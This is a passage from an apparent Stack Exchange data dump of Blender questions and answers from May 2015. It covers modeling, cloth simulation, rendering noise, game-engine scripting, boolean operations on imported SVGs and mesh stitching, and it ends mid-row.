  <row Id="30335" PostTypeId="2" ParentId="30331" CreationDate="2015-05-03T20:32:25.467" Score="2" Body="&lt;p&gt;No need to take the 3D to photoshop. Bring the image to blender instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to user preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;ALt&lt;/kbd&gt; &lt;kbd&gt;U&lt;/kbd&gt;)&#xA;Enable the &lt;strong&gt;import images as planes&lt;/strong&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zuP4v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the 3D viewport you can add images as plane (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;).&#xA;Then select the *psd (PNG, Tiff, JPEG, etc) image you want to import.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KDjDt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I2P9e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zfexf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-03T20:32:25.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30336" PostTypeId="1" AcceptedAnswerId="30374" CreationDate="2015-05-03T21:00:10.577" Score="5" ViewCount="959" Body="&lt;p&gt;I want to remove a green screen from a video. I know how to do it with the node editor but i can't send the result to the sequence editor. When i try with Add &gt; Scene, it only show me the 3d scene(the default with a cube).&lt;/p&gt;&#xA;" OwnerUserId="14145" LastEditorUserId="14145" LastEditDate="2015-05-03T22:36:36.903" LastActivityDate="2015-05-06T11:45:33.820" Title="Output from the node editor to the sequence editor" Tags="&lt;nodes&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30337" PostTypeId="1" CreationDate="2015-05-03T21:07:56.053" Score="0" ViewCount="33" Body="&lt;p&gt;How to apply a modifier (for example &quot;subdivision surface&quot;), only to the part of an object, not to a entire object?&lt;/p&gt;&#xA;" OwnerUserId="13487" LastActivityDate="2015-05-03T21:07:56.053" Title="How to apply a modifier to the part of an object?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-05-04T00:14:50.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="30338" PostTypeId="1" AcceptedAnswerId="30341" CreationDate="2015-05-03T21:33:02.927" Score="0" ViewCount="247" Body="&lt;p&gt;In the Blender Game engine, I used servo control to try to get a cube to move. Instead, it rolled. Below are the settings for the servo control actuator:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tn6oi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a picture of it rolling:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f7j1Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the yellow cube (Character being controlled) has rigid body physics, and the ground (white) is static.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I stop this?&lt;/p&gt;&#xA;" OwnerUserId="6238" LastEditorUserId="9839" LastEditDate="2015-05-03T21:37:08.370" LastActivityDate="2015-05-03T21:49:43.180" Title="Game Engine: Cube is rolling instead of moving forward" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30339" PostTypeId="1" AcceptedAnswerId="30344" CreationDate="2015-05-03T21:42:03.403" Score="9" ViewCount="2129" Body="&lt;p&gt;I've created a sail. I made a plane of right form, applied to it solidify modifier and cloth modifier . But when I added a wind, back surface of the fabric touches front surface and passes through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9UIeE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix this? &#xA;If I turn on self collision - fabric swells, like a pillow.&lt;/p&gt;&#xA;" OwnerUserId="13487" LastActivityDate="2015-05-03T22:37:20.223" Title="How to make a fabric with a solidify modifier doesn't pass through itself?" Tags="&lt;modeling&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30340" PostTypeId="1" CreationDate="2015-05-03T21:48:13.480" Score="2" ViewCount="205" Body="&lt;p&gt;I've been trying to get a pretty noise free image from this scene for a while. And nothing seems to be working.&#xA;I've been trying to use 3000 samples, then rendering different noise seeds and composite them together, but the base images are to noisy to even use this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never really had this much noise before, and I'm not sure what's wrong with it. It already takes around 5-6 hours for me to render it at 3k samples (Laptop, so I cant use GPU rendering). Any help?&#xA;I've attached my render settings as well if it helps.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mXspr.jpg&quot; alt=&quot;Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to a bigger version of the photo if it's not large enough&#xA;&lt;a href=&quot;https://www.dropbox.com/s/r3swgloty4rt2ef/1430608690119.jpg?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/r3swgloty4rt2ef/1430608690119.jpg?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone on another forum suggested I use Luxrender instead, but I'd rather save myself the time in learning a completely new renderer and converting everything.&lt;/p&gt;&#xA;" OwnerUserId="10871" LastActivityDate="2015-05-03T21:48:13.480" Title="Managing noise in a night scene" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30341" PostTypeId="2" ParentId="30338" CreationDate="2015-05-03T21:49:43.180" Score="1" Body="&lt;p&gt;Make the cube dynamic.I think it rolls cause it has rigid attributes.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-05-03T21:49:43.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30342" PostTypeId="1" AcceptedAnswerId="30354" CreationDate="2015-05-03T21:50:35.153" Score="6" ViewCount="318" Body="&lt;p&gt;I don't know how to 'stitch' these two meshes together. I don't mean a 'bridge', I want the Foot moved correctly into the socket: There is a stitch function for UV maps that does exactly what I want (see the video: &lt;a href=&quot;https://youtu.be/42XCrtxvhyM?t=519&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/42XCrtxvhyM?t=519&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VHQIZ.png&quot; alt=&quot;i want to stitch that&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14147" LastEditorUserId="12" LastEditDate="2015-05-04T13:43:23.967" LastActivityDate="2015-05-04T13:43:23.967" Title="Stitch 2 mesh parts like in the UV stiching function" Tags="&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30343" PostTypeId="1" CreationDate="2015-05-03T21:53:28.733" Score="8" ViewCount="5850" Body="&lt;p&gt;Apart from artistic purposes, what are some practical uses of negative, zero or positive anisotropy? I do understand how it affects the scattering direction but I am not sure when is it useful.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2017-01-11T17:29:30.900" Title="Scattering and anisotropy usage" Tags="&lt;volumetrics&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30344" PostTypeId="2" ParentId="30339" CreationDate="2015-05-03T22:31:44.337" Score="13" Body="&lt;p&gt;Don't apply the solidify modifier , put it the last  here is an example setup :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the mesh is subdivided before :&lt;/li&gt;&#xA;&lt;li&gt;the subsurf modifier is added to smooth the mesh after simulation then we add the solidify modifier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gUalb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solid view :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kx06b.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-03T22:37:20.223" LastActivityDate="2015-05-03T22:37:20.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30346" PostTypeId="1" CreationDate="2015-05-03T23:15:58.243" Score="2" ViewCount="127" Body="&lt;p&gt;I'm trying to enter dimensions of an object.  I'm using the code below.&#xA;It does not recognize the variables XX or YY and get the error: Key &quot;XX&quot; not found&#xA;Any clues??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import FloatProperty&#xA;from bpy.props import IntProperty&#xA;from bpy.types import Operator&#xA;import os&#xA;&#xA;#create variables &#xA;bpy.types.Scene.XX=FloatProperty(name=&quot;XX&quot;, default=10.0, description=&quot;Enter XX&quot;) #XX&#xA;XX = bpy.context.scene['XX']&#xA;#print (XX) &#xA;&#xA;bpy.types.Scene.YY=FloatProperty(name=&quot;YY&quot;,default=4, description=&quot;Enter YY&quot;) #YY&#xA;YY = bpy.context.scene['YY']&#xA;#print (YY) &#xA;#Draw the panel buttons for user inputs&#xA;class CustomPanel(bpy.types.Panel):&#xA;    bl_label = &quot;Wall&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        row = layout.row()&#xA;        row.label(text=&quot;Dimensions:&quot;)&#xA;        Wall_layout=self.layout.column(align=True)&#xA;        Wall_layout.prop(context.scene, 'XX') #XX&#xA;        Wall_layout.prop(context.scene, 'YY') #YY&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(CustomPanel)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(CustomPanel)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13750" LastEditorUserId="5113" LastEditDate="2015-05-03T23:24:04.100" LastActivityDate="2015-05-04T01:38:37.173" Title="User Varialble input failure" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30347" PostTypeId="1" CreationDate="2015-05-03T23:52:11.100" Score="4" ViewCount="323" Body="&lt;p&gt;I am using Blender's game engine to make a racing game. To have the camera follow the car, I parented the camera to the car. The camera tracks it fine on straightaways, but not so much on turns. Around the turns, the camera rotates at such an angle that the car goes to the side of the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/83aKz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the camera does sort of an ovular rotation. How do I stop the camera from doing this?&lt;/p&gt;&#xA;" OwnerUserId="6238" LastActivityDate="2015-05-05T17:56:38.653" Title="Camera rotates around object at awkward angle" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30348" PostTypeId="2" ParentId="30346" CreationDate="2015-05-04T00:01:34.207" Score="1" Body="&lt;p&gt;You have defined a &lt;strong&gt;&lt;em&gt;RNA&lt;/em&gt;&lt;/strong&gt; property, it will be available on any instance of this class( all scenes will have this property ) , to access this property use the following line  :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XX = context.scene.XX&#xA;# in the UI&#xA;row.prop(context.scene, 'XX')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can also define an &lt;strong&gt;&lt;em&gt;ID&lt;/em&gt;&lt;/strong&gt; property which will be available only on this scene :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context.scene['XX'] = 10.0&#xA;print(context.scene['XX'])&#xA;#in UI&#xA;row.prop(context.scene, '[&quot;XX&quot;]')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To learn more about this Topic refer to this DOC page : &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Properties#RNA_properties_versus_ID_properties&quot; rel=&quot;nofollow&quot;&gt;RNA properties versus ID properties&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-04T01:38:37.173" LastActivityDate="2015-05-04T01:38:37.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30350" PostTypeId="1" AcceptedAnswerId="30399" CreationDate="2015-05-04T00:36:08.557" Score="3" ViewCount="1633" Body="&lt;p&gt;Is it possible to load, manipulate (pitch-shift) and play back a sound without using logic bricks and instead using a script in Blender Game Engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, this would be possible with using only functionality included in Blender on Linux, Mac and Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not possible: what is the minimum required use of the logic bricks for this task?&lt;/p&gt;&#xA;" OwnerUserId="13843" LastEditorUserId="5113" LastEditDate="2015-05-04T00:50:23.230" LastActivityDate="2015-05-04T22:34:52.597" Title="Load, Change &amp; Play Sound in BGE Without using Logic Bricks" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30351" PostTypeId="2" ParentId="30347" CreationDate="2015-05-04T01:04:58.907" Score="5" Body="&lt;p&gt;To fix this, I applied a camera actuator to the camera instead of parenting the camera to the car. The camera actuator allows the camera to track an object and choose how precisely it tracks it using damping (e.g. if the car goes over a pothole it won't shake the camera, but if it goes over a big hill, the camera will follow it). Here is a picture of the actuator settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5bnYc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can learn more about camera actuators &lt;a href=&quot;http://www.blender.org/manual/game_engine/logic/actuators/camera.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6238" LastActivityDate="2015-05-04T01:04:58.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30352" PostTypeId="1" AcceptedAnswerId="30358" CreationDate="2015-05-04T02:28:29.370" Score="5" ViewCount="1143" Body="&lt;p&gt;I imported some SVG objects, extracted them and converted them to a mesh. When I tried to perform a boolean difference operation between them, I saw the error message &quot;Cannot execute boolean operation&quot;. When I looked in the console, I saw these errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uncontained hole loop does not share vertices with any face loop!&#xA;CSG failed, exception /build/buildd/blender-2.72.b+dfsg0/extern/carve/lib/triangulator.cpp:898  &quot;didn't manage to link up hole!&quot;&#xA;CSG failed, exception /build/buildd/blender-2.72.b+dfsg0/extern/carve/lib/triangulator.cpp:898  &quot;didn't manage to link up hole!&quot;&#xA;CSG failed, exception /build/buildd/blender-2.72.b+dfsg0/extern/carve/include/carve/csg_triangulator.hpp:330  unpaired.find((*i).first.first) == unpaired.end()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;http://ceclnx01.cec.miamioh.edu/~maranj/example.blend&quot;&gt;a link&lt;/a&gt; to the file that I'm trying to use. I'm trying to subtract the 'QR' object from the 'BG' object. Is there something wrong with the meshes resulting from the import/extract step? What's going on here?&lt;/p&gt;&#xA;" OwnerUserId="14152" LastActivityDate="2015-05-05T16:03:55.953" Title="Cannot execute boolean operation with imported SVG" Tags="&lt;modifiers&gt;&lt;import&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30353" PostTypeId="1" CreationDate="2015-05-04T02:34:01.523" Score="2" ViewCount="614" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TpUS0.png&quot; alt=&quot;enter image description here&quot;&gt;Folks I have spent many hours trying to get out of the starting gate, there are many nice tutorials which step through using python scripting in the game engine (three I have tried - which claim to be starters(. As yet I have not gotten anything to respond. Ok not completely true on a windows machine I was able to get a print out (not in the python console window but in a console which was generated on running the game engine) - I work on either linux or windows machines and yet the tutorials never seem to get even the most basic response (move a block with a key) using python. This has not been a problem with the logic blocks. I save the named script which I try to create to test, I set up an always block which is wired to the python script which is in turn seen and selected in a control block - I am in &quot;pulse mode&quot; (continual looping sort of correct?) but still nothing ever moves or responds.... As an aside In linux under the window tab there is no toggle system console option and no second console log pops up upon running the game engine, and the system terminal does not seem to be the place and the python console window option does not seem to be tied to bge ....It feels like something very simple is missing but darn if I can tell what it is.... Thanks&#xA;Addition Below is one screen shot to address a comment and provide perspective the sphere is just for reference and not used. The console in this case gives a syntax error - The same error occurs when I change the name of the control object from own to Cube to as shown Player...... THANKS !&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gCIKe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13783" LastEditorUserId="13783" LastEditDate="2015-05-06T18:55:17.843" LastActivityDate="2015-05-07T05:19:02.100" Title="Noob in BGE Just have anything work with python script" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30354" PostTypeId="2" ParentId="30342" CreationDate="2015-05-04T03:19:47.357" Score="7" Body="&lt;p&gt;As long as the loops match, you can &lt;strong&gt;turn on snapping and auto merge&lt;/strong&gt; in Edit Mode to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T8JO9.png&quot; alt=&quot;Just an image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Turn on snapping (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Set snapping mode to vertex (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Turn on auto merge&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then move the part of the mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cxxqN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5505" LastEditorUserId="3710" LastEditDate="2015-05-04T13:41:47.367" LastActivityDate="2015-05-04T13:41:47.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30355" PostTypeId="1" CreationDate="2015-05-04T04:04:52.950" Score="3" ViewCount="151" Body="&lt;p&gt;I am trying to select a loop from an edge using loop_multi_select.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def loop_from_edge(edge, mesh):&#xA;&#xA;    bpy.ops.mesh.select_all(action='DESELECT')&#xA;    edge.select = True&#xA;    bpy.ops.mesh.loop_multi_select(ring = False)&#xA;    selected_verts = [v for v in mesh.vertices if v.select]&#xA;    return selected_verts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried mode toggling based on someone's suggestion.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def loop_from_edge(edge, mesh):&#xA;&#xA;    bpy.ops.mesh.select_all(action='DESELECT')&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;    edge.select = True&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;    bpy.ops.mesh.loop_multi_select(ring = False)&#xA;    selected_verts = [v for v in mesh.vertices if v.select]&#xA;    return selected_verts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The selected_verts array remains empty. I know that edge is valid and contains vertices. I am concluding that loop_multi_select isn't selecting anything, or I somehow cannot access the selected verts. How do I make loop_multi_select work?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-05-04T13:12:42.287" Title="Loop_multi_select selects nothing?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30356" PostTypeId="1" AcceptedAnswerId="30387" CreationDate="2015-05-04T05:33:17.550" Score="7" ViewCount="2747" Body="&lt;p&gt;I'm modeling a car (Napier Railton) which body is not perfectly symmetric I can add a mirror modifier and apply it then add the non symmetric meshes but I don't want to lose the ability to modify the symmetric parts of the mesh latter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AP0KO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that I can divide my object into two vertex groups:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;body.L (the part of the mesh that I want it to be mirrored)&lt;/li&gt;&#xA;&lt;li&gt;non_symmetric (where I don't the mirror modifier to be applied)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/drs7Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it didn't work, I'm not sure how the &lt;strong&gt;&lt;em&gt;vertex G&lt;/em&gt;&lt;/strong&gt; option works in mirror modifier (actually I'm not sure it's there to do that job)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a better way to add non symmetric meshes while having the advantage of keeping the symmetric meshes ready to modify later? &lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2015-05-04T17:52:42.570" Title="Excluding part of the mesh from mirror modifier" Tags="&lt;mirror&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30357" PostTypeId="2" ParentId="30352" CreationDate="2015-05-04T06:01:31.207" Score="4" Body="&lt;p&gt;I suspect this is caused by several things. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The original QR geometry you provided is all separate triangles, this kind of mesh isn't suitable for a boolean because each vertex is only used by one face, and not shared by all faces that have a vertex at that coordinate. The image below also shows there are interior edges and faces&#xA;&lt;img src=&quot;https://i.stack.imgur.com/o6xEE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A few steps to improve the geometry before extruding to thickness are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;remove doubles (removes about 800 duplicated verts)&lt;/li&gt;&#xA;&lt;li&gt;limited dissolve (joins adjacent faces, islands)&lt;/li&gt;&#xA;&lt;li&gt;then extrude upwards&lt;/li&gt;&#xA;&lt;li&gt;also remove doubles on the BG block&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Manifold geometry&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i8luP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the final problem is geometry like this: These islands when extruded are the basis of invalid geometry (though blender Blender can represent it because it isn't thinking about what your intentions are), when you try to operate on it with Boolean CSG it becomes an undefined problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More elaborately explained here &lt;a href=&quot;https://blender.stackexchange.com/questions/7910/what-is-non-manifold-geometry&quot;&gt;What is non-manifold geometry?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is much like if you tried to &lt;a href=&quot;https://i.stack.imgur.com/Ru5Pn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;cut out a silhouette with a hole&lt;/a&gt;, the hole will drop out unless it is attached to something. You best option is to have small joins on touching squares:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OAZgJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A nice piece about this is seen in the work of Golan Levin: &#xA;&lt;a href=&quot;http://www.flong.com/projects/qr-codes-for-digital-nomads/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.flong.com/projects/qr-codes-for-digital-nomads/&lt;/a&gt; . Of course stencilling is different, but it has similar subtle things to think about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The negative geometry becomes this, you might find it acceptable.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7w4kn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-05-05T16:03:55.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30358" PostTypeId="2" ParentId="30352" CreationDate="2015-05-04T06:13:49.533" Score="6" Body="&lt;p&gt;You could try and deal with this in another way.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I selected an upwards facing face and used &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;g&lt;/kbd&gt;-&gt;normals to select all the other faces that are facing upwards and deleted them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you select edges and press &lt;kbd&gt;f&lt;/kbd&gt;, the faces can be filled in quickly enough.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By doing this, you can build up the large box without having to use the boolean modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aeT5J.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-04T11:39:02.043" LastActivityDate="2015-05-04T11:39:02.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30359" PostTypeId="2" ParentId="29263" CreationDate="2015-05-04T06:52:30.907" Score="2" Body="&lt;p&gt;I added two textures to the material as shown in the following image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pjpKa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can switch between the textures using the Texture Paint mode Slots tab.  You'll notice that the Slots tab shows up in the tools tab for me.  You can make this happen by shift clicking on a blank area of a tab's working space to pin it so it always shows up regardless of what tab you are currently using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TKekq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-04T11:40:47.620" LastActivityDate="2015-05-04T11:40:47.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30360" PostTypeId="1" CreationDate="2015-05-04T07:50:34.690" Score="1" ViewCount="446" Body="&lt;p&gt;Im trying to bake a high poly sculpted model to a low poly plain model with out any modifiers to produce my normal map.&#xA;my procedure is this- after sculpting a multires model, I copy the model and remove the multires modifier from the copy. Then I place the two models over one another and select both models making sure the low poly is the active model i proceed to bake using the setting shown in attached picture.&#xA; I have done it this way multiple times before, the last time i did this was 2-3 day ago so i know it was working and now for some reason it give me the error as shown in attached picture. Does anyone know where i went wrong? I'm using version 2.74 which i re-downloaded today just incase it was the version giving me the problem&lt;img src=&quot;https://i.stack.imgur.com/SKSbr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12869" LastActivityDate="2015-05-04T07:50:34.690" Title="more normal baking problems" Tags="&lt;normals&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30361" PostTypeId="1" AcceptedAnswerId="30362" CreationDate="2015-05-04T08:22:27.723" Score="2" ViewCount="469" Body="&lt;p&gt;I have a scene with a a few planes that have a transparency texture (alpha map) set up. Lighting is done with environment texture only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uwYsw.png&quot; alt=&quot;Simple scene with background lighting, transparent areas cast shadows&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is that with 0 diffuse bounces I get shadow action from the planes even at the transparent areas. I am looking for an Cycles only (no compositing!) way to get rid of the shadow action with 0 diffuse bounces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, change lighting from background to sun (add sun, remove any input from world output surface, or set background strength to 0.0), and you'll see there is no shadow action from transparent areas of the planes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img 